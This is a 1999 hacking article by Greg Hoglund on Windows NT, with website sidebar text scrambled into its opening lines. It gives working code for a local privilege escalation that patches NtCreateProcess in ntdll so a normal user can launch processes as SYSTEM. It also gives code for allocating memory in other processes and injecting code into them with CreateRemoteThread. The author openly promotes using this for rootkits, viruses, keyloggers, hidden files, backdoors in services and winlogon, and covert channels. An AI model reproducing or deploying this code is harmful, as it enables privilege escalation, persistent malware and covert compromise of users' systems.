A Programming Fusion Technique For Windows NT by Greg Hoglund Tue Dec 14 Tue Dec 14 1999 1999 A Fusion Technique A Programming Fusion Using c/c++ and assembly together under Windows NT to Technique For stackguard, boobytrap, and otherwise get your hands Windows NT dirty. Wed Dec 08 Part Two 1999 A Programming -Greg Hoglund, 1999 ( http://www.rootkit.com ) Fusion Copyright Security-Focus.com 1999 Technique For Windows NT [ subscribe to focus-ms mailing list ] Thu Nov 18 Crossing Process Boundaries 1999 Interpreting With SE_DEBUG enabled, you can now cross process Network boundaries. This is all you need to write hooks, Traffic: A mean-ass rootkits, and killer virii. Network Intrusion Lets explore something that doesn't require Detectors Look kernel-mode access, but can be used to hack root on at Suspicious Windows NT. On my windows NT machine (4.0 SP3) - it Events turns out that I can actually overwrite the "parent process" handle when creating a new process. This is a Tue Nov 02 security problem in that I can create a process 1999 running as NT_AUTHORITY/SYSTEM from a normal user Implementing a account. I tried playing with this on Windows 2000 and Secure Network it didn't appear to work, but then again I didn't spend alot of time on it. Tue Oct 19 1999 Brandishing an example is timely: THE TRINITY OF A QUALITY void main(void) INFORMATION { SECURITY DWORD oldProtectionMask; PROGRAM v2 // you may or may not need this privilege Wed Oct 06 // by default, a normal user on my system 1999 // does *not* need this enabled The Last Line of Defense, _enablePrivilege(SE_DEBUG_NAME); Broken // get the address of our target Tue Sep 21 // this will be in kernel-memory so 1999 // it will never change between procii Auditing Your Firewall Setup HMODULE hmodule = GetModuleHandle("ntdll.dll"); void *p = (void *) GetProcAddress( hmodule, Thu Aug 26 "NtCreateProcess" ); 1999 How to Get A // now we need to be able to write to the address Real Security // by making a call to VirtualProtect(). First, Budget // we need to find out info about the PAGE of virtual memory Wed Aug 25 // our address resides in. Then, we can unlock that 1999 entire Cautionary // page to user-mode. So, we fill a Tales: Stealth MEMORY_BASIC_INFORMATION Coordinated // structure with VirtualQuery() - then make our call Attack HOWTO to change // access-protection. Mon Aug 23 1999 MEMORY_BASIC_INFORMATION mbi; Why VirtualQuery( p, Crypto-Control &mbi, Will Fail sizeof (MEMORY_BASIC_INFORMATION)); [ more ] VirtualProtect( mbi.AllocationBase, mbi.RegionSize, PAGE_EXECUTE_READWRITE, &oldProtectionMask); // at this point, we can write to the memory. // Since 'p' points to a function in NTDLL, that // means it points to actual code. We can overwrite // this code with whatever we please. // normally the code in NTDLL looks like this (from SoftIce): //:code on //:u 77f67764 //_ZwCreateProcess //0008:77f67764 b81f000000 mov eax,0000001f //0008:77f67769 8d542404 lea edx,[esp+04] //0008:77f6776d cd2e int 2e //0008:77f6776f c22000 ret 0020 //0008:77f67772 8bc0 mov eax,eax //_ZwCreateProfile //0008:77f67774 b820000000 mov eax,00000020 // As you can see, the normal code is 14 bytes long // giving us enough room to inject our own code. unsigned long func = (unsigned long)_hook_CreateProcess; memcpy(p, "\xB8", 1); // mov eax, ... p++; memcpy(p, (void *)&func, 4); //address of function p+=4; memcpy(p, "\xFF\xE0", 2); // jmp eax } The new code, after alteration, look like: //0008:77f67764 b8******** mov eax,
//0008:77f67769 e0ff jmp eax We are redirecting to our own function, _hook_CreateProcess. Once again we see our old friend __declspec( naked ): void __declspec (naked) _hook_CreateProcess() { __asm { mov eax, gNewHandle ; the handle to 'System' mov dword ptr [esp+16], eax ; The 'sploit is Here mov eax, 0x1F ; NtCreateProcess() on NT4 lea edx, dword ptr [esp+4] int 2eh retn 20h } } We shouldn't be able to alter the parent process handle like this - or the system should be able to throw an exception - and check whether the parent process is the same as the calling process - but none of this occurs so we have our privilege elevation attack. All we need to do is replace the parent process handle with that of the 'System' process and we are golden. Our process launches as NT_AUTHORITY/System. To get the handle to the 'System' process just store it as a global: HANDLE gNewHandle = 0; void main(void) { // get the handle to process #2 - the 'System' process gNewHandle = OpenProcess(PROCESS_CREATE_PROCESS, 1, 2); ... } This attack only alters NTDLL locally to the process. Remember that NTDLL lives in the lower 2GB of address space, and therefore is context-sensitive to the process in question. However, you could leverage the SE_DEBUG privilege to inject code into *another* process - and then apply this patch. For example, imagine injecting this hook into explorer.exe. All you your processes would be launched as 'System'. Another approach could be to inject this into the WINLOGON process - and you'll always have a handy 'super-taskmanager' you can use to kill any process (or start new 'System' level processes). If you wanted the change to be permanent, you could patch the binary itself (a useful virus, perhaps?). Allocating memory within another process Lets say you want to launch a slab of bacon way up into kernel mode. You have some concerns don't you? Two seconds after launch your going to do a face-plant over some critical kernel-routine, munge it, and suffer the 'ol blue screen of death. You don't want to be making tracks over the kernel - its a BAD THING. Okay? Looking over any memory, you keep seeing these empty spaces - areas that have no code - devoid and clean. These are called "black holes" and yes, you can use them. Is it safe? Not at all. I have done this before in a pinch. The problem is that the memory may eventually get used for something. Then again, if your choosy, it may not. Remember that memory is allocated in pages, and the end of a page is often left unused. It doesn't give you much to work with, however. There is a better solution. Using CreateRemoteThread() we can allocate memory within another process space. We simply specify the number of bytes we need as the stack space for the thread ;-) The API for CreateRemoteThread() is: HANDLE CreateRemoteThread( HANDLE hProcess, // handle to process to create thread in LPSECURITY_ATTRIBUTES lpThreadAttributes, // pointer to thread // security attributes DWORD dwStackSize, // initial thread stack size, in bytes LPTHREAD_START_ROUTINE lpStartAddress, // pointer to thread function LPVOID lpParameter, // pointer to argument for new thread DWORD dwCreationFlags, // creation flags LPDWORD lpThreadId // pointer to returned thread identifier ); Of course, we need to give a start routine for 'lpStartAddress' - any guesses? How about 'ExitThread()' - it's loaded into the remote address space already - all we need to do is give the address to it. Since it's loaded up into DLL space - it's going to be the same address across all process spaces. We can just call 'GetProcAddress()' and pass the value. Of course, we aren't actually going to let the thread run - we need the KEEP the memory we just allocated on the stack! So, we create the thread with CREATE_SUSPENDED and leave it that way. Lastly, we need to get the address of the new thread stack - which we can do with GetThreadContext(). If you haven't already, open 'winnt.h' and take a look at the CONTEXT structure. It stores many CPU-specific values - including the stack pointer. For an x86 cpu, the stack pointer is called 'esp'. For our purposes here, I are going to assume you are running on an x86 processor. The following, then, is how to allocate memory in another process: void * alloc_in_process( HANDLE theProcessH, DWORD theSize ) { void * aMemP; DWORD numBytes; MEMORY_BASIC_INFORMATION mbi; HINSTANCE aModule = GetModuleHandle("kernel32"); void *fp = GetProcAddress(aModule, "exitthread"); HANDLE hThread = CreateRemoteThread( theProcessH, NULL, theSize, /* stack size */ (LPTHREAD_START_ROUTINE) fp, 0, CREATE_SUSPENDED, &aThreadID )) if(hThread) { /* everything is OK */ CONTEXT aContext; aContext.ContextFlags = CONTEXT_CONTROL; if(!GetThreadContext( hThread, &aContext )) return NULL; VirtualQueryEx( theProcessH, aContext.esp - 1, &mbi, sizeof(mbi)); aMemP = (void *) mbi.BaseAddress; // write the thread handle at base of page WriteProcessMemory( theProcessH, aMemP, &hThread, sizeof(hThread), &numBytes); return((void *) ((PHANDLE) aMemP + 1)); } return NULL; } Injecting code into another process Once you have allocated some real estate you want to setup your housing project - you need to inject some code. Obviously you need to write some code first - something to inject. Lets explore an easy way to do that. You can use our old friend __declspec(naked) if you choose. A fairly simple method involves no assembly at all - just code straight 'c'. The technique is sound and best shown by example. Lets assume you want to inject the following three functions: #pragma check_stack (off) static void test(int *a) { char c[10000]; int b; b = 1; (*a)++; strcpy(c, "xdr"); } static void after_test(void) { } static void test2(int *b) { char x[10000]; int a; *b = 1; strcpy(x, "xdr"); } static void after_test2(void) { } static void test3(int *c) { char l[10000]; int a; int b; b = 1; (*c)++; strcpy(l, "xdr"); } static void after_test3(void) { } #pragma check_stack You need to turn off stack checking so that the compiler doesn't insert weird stuff into your code. If you need complete control, revert back to __declspec( naked ) and you won't have any problems. The code could be written into the remote process space by first calculating the code size: int code_size = ( (char *)after_test3 - (char *)test); We then need to make sure the remote memory is writable: VirtualProtectEx( hRemoteProcess, pRemoteMemory, code_size, PAGE_EXECUTE_READWRITE, &old_protection); And then we inject it: WriteProcessMemory( hRemoteProcess, pRemoteMemory, (void *) test, /* the address of our first function */ code_size, &num_bytes_tranferred); If we actually want to start a remote thread to run our code directly, we need to do things slightly differently. Our technique for inserting code actually involves CreateRemoteThread() - so we are going to need to write a thread start function also. Remember that allocating remote memory involved using CreateRemoteThread() also. The difference is that allocate_in_process() never intended to actually start the thread - it was just a hack. Now that we *have* memory, we are going to use CreateRemoteThread() again, only this time we are going to start it. Note that the two uses of CreateRemoteThread() do not interfere with one another. A thread procedure is defined as follows: DWORD WINAPI ThreadProc( LPVOID lpParameter ); Therefore, we need to define our function this way: #pragma check_stack (off) static DWORD WINAPI test_thread(LPVOID theParameter) { // do something useful } static void after_test_thread(void) { } ... #pragma check_stack Following the same procedure as above, we inject this code into the remote process. We then can actually *start* the thread! This is cool because we can use our thread to patch remote processes and change their behavior. Once the memory is injected, start the thread like this: hThread = CreateRemoteThread( hRemoteProcess, NULL, 0, (LPTHREAD_START_ROUTINE) pRemoteMemory, NULL, /* whatever you want to pass to thread */ 0, &thread_id); ResumeThread(hThread); /* wait for it if you choose */ WaitForSingleObject(hThread, INFINITE); That's it! We have covered everything you need to know to inject code into another process. An additional technique you may want to try is passing data to the remote thread for startup. Just allocate for whatever data you want along with the thread (add it to the calculated code_size ) and tack it to the end of the code with WriteProcessMemory(). Just pass a pointer to this as the parameter to the thread_start_routine. Although this technique doesn't directly require inline assembly, the injected payload will likely employ such skills. Some ideas include altering the behavior of the user's shell (explorer.exe or cmd.exe) so that certain operations are redirected. You could hide files or processes. You could capture keystrokes or control windows messages. If the target process is one of your services (think Apache or inetinfo.exe (IIS)) you could open up *external* backdoors. If the target is winlogon.exe you could open a backdoor in the GINA. A really creative idea might be to patch SPOOLSS.exe and run a covert channel through the print server - you'd see all these plain one-liner text files being printed as 'cmd.exe /c net user add ...'. Sheesh, the ideas are endless. [ Post a reply ] [Image] Discussion No comments have been posted. copyright Interested in advertising with us?